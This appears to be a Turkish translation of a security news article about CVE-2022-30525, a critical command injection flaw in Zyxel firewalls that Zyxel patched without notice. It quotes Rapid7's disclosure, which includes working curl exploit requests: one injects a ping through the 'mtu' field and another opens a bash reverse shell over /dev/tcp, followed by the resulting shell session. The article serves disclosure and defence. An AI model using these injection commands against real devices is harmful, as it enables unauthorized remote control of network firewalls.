Zyxel, 9.8 önem derecesi ile komut ekleme güvenlik açığını sessizce düzeltir

Zyxel

Donanım üreticisi Zyxel, bilgisayar korsanlarına on binlerce güvenlik duvarı cihazını uzaktan kontrol etme yeteneği veren kritik bir güvenlik açığını gideren bir güncellemeyi sessizce yayınladı.

Kimlik doğrulama gerektirmeden uzaktan komut enjeksiyonuna izin veren güvenlik açığı, olası 10 üzerinden 9,8 önem derecesine sahiptir. Etkilenen cihazlara basit HTTP veya HTTPS istekleri göndererek yararlanmak kolaydır. İstekler, bilgisayar korsanlarının komut göndermesine veya bilgisayar korsanlarının zaman içinde ayrıcalıklı erişimi sürdürmesine olanak tanıyan bir web kabuğu arabirimi açmasına olanak tanır.

Yüksek değerli, kurması kolay, kimlik doğrulama gerektirmez

Güvenlik açığı, el değmeden sağlama olarak bilinen bir özellik sunan bir dizi güvenlik duvarını etkiler. Zyxel, küçük şube ve merkez ofis kurulumlarında kullanım için cihazlar pazarlamaktadır. Cihazlar VPN bağlantısı, SSL denetimi, web filtreleme, izinsiz giriş koruması ve e-posta güvenliği gerçekleştirir ve güvenlik duvarı üzerinden 5Gbps’ye kadar aktarım sağlar. Shodan Device Finder, etkilenen 16.000’den fazla cihazın İnternet’e maruz kaldığını gösteriyor.

Etkilenen belirli cihazlar şunlardır:

Etkilenen model Ürün yazılımı sürümü etkilendi
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 ila ZLD5.21 Yama 1
USG20-VPN, USG20W-VPN ZLD5.10’dan ZLD5.21 Yama 1’e
ATP 100, 200, 500, 700, 800 ZLD5.10’dan ZLD5.21 Yama 1’e

Güvenlik açığı CVE-2022-30525 olarak izleniyor. Bunu keşfeden ve özel olarak Zyxel’e bildiren güvenlik şirketi Rapid7, VPN serisi cihazların da ZTP’yi desteklediğini, ancak diğer gerekli özellikleri içermedikleri için savunmasız olmadıklarını söyledi. Rapid7 araştırmacısı Jake Baines Perşembe günü yayınlanan bir bildiride şunları yazdı:

Etkilenen modeller, yönetimsel HTTP arabirimi aracılığıyla uzaktan, kimliği doğrulanmamış komut enjeksiyonuna karşı savunmasızdır. Komutlar şu şekilde yürütülür: nobody kullanıcı. Bu güvenlik açığından yararlanılır. /ztp/cgi-bin/handler URI ve temizlenmemiş saldırganın girdisini dosyaya geçirmenin sonucudur os.system içindeki yöntem lib_wan_settings.py. Güvenlik açığı bulunan işlevsellik, aşağıdakilerle ilişkili olarak çağrılır: setWanPortSt emretmek. Saldırgan, dosyaya isteğe bağlı komutlar enjekte edebilir mtu ya da data parametre.

Aşağıdaki örnekler (1) curl güvenlik duvarının çalışmasına neden olan ping 192.168.1.220 IP adresinde di, ardından (2) powershell sonuçları döndürür, (3) bir ters kabuğun ortaya çıkışı ve (4) bir bilgisayar korsanının ters kabuk ile yapabileceği şeyler:

    1. curl -v --insecure -X POST -H "Content-Type: application/json" -d
      '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
      :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
      https://192.168.1.1/ztp/cgi-bin/handler
      
    2. nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
      nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
      nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
      nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           \_ ping 192.168.1.220
      
    3. curl -v --insecure -X POST -H "Content-Type: application/json" -d '
      {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
      "1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
      192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
      /ztp/cgi-bin/handler
      
    4. albinolobster@ubuntu:~$ nc -lvnp 1270
      Listening on 0.0.0.0 1270
      Connection received on 192.168.1.1 37882
      bash: cannot set terminal process group (11037): Inappropriate ioctl for device
      bash: no job control in this shell
      bash-5.1$ id
      id
      uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
      bash-5.1$ uname -a
      uname -a
      Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
      Bash-5.1
      

Rapid7 burada, sömürü sürecini otomatikleştiren Metasploit yararlanma çerçevesi için bir modül geliştirmiştir.

Baines, Rapid7’nin Zyxel’e 13 Nisan’da güvenlik açığını bildirdiğini ve iki tarafın 21 Haziran’da düzeltme de dahil olmak üzere koordineli bir açıklama sağlamayı kabul ettiğini söyledi. Araştırmacı, donanım üreticisinin Rapid7’den habersiz olarak 28 Nisan’da güvenlik açığını sessizce gideren bir ürün yazılımı güncellemesi yayınladığını söylemeye devam etti. Zyxel, Rapid7’nin sessiz yama hakkında soru sorması ve Perşembe günü bir bildirim yayınlamasının ardından CVE numarasını yalnızca Salı günü aldı.

Bir güvenlik açığı kaynağı olan AttackerKB’ye göre, CVE-2022-30525, kurulması kolay olduğu, kimlik doğrulama gerektirmediği ve güvenlik açığı bulunan cihazların varsayılan yapılandırmasında yararlanılabildiği için tehdit aktörleri için çok değerlidir. Rapid7 temsilcileri, bu değerlendirmenin doğruluğuyla ilgili temel soruları yanıtlayacak durumda değildi.

Yöneticiler, otomatik güncellemeye izin vermek için varsayılan ayarları değiştirmedikçe yamayı manuel olarak uygulamalıdır. Güvenlik açığı bulunan güvenlik duvarlarından yalnızca biri olan ATP200 için yapılan bir Shodan sorgusu, açıkta kalan cihazların yalnızca yaklaşık yüzde 25’inin en son üretici yazılımını kullandığını gösterdiğinden, erken belirtiler yamanın yaygın olarak uygulanmadığı yönündedir.

Güvenlik duvarlarını etkileyen güvenlik açıkları, gelen ve giden trafiğin aktığı ağların dış ucunda bulundukları için özellikle ciddi olabilir. Birçok güvenlik duvarı, verileri şifrelenmeden önce bile okuyabilir. Etkilenen bu cihazları kullanan ağları izleyen yöneticiler, bu güvenlik açığına maruz kalma durumlarını analiz etmeye öncelik vermeli ve buna göre düzeltme eki yapmalıdır.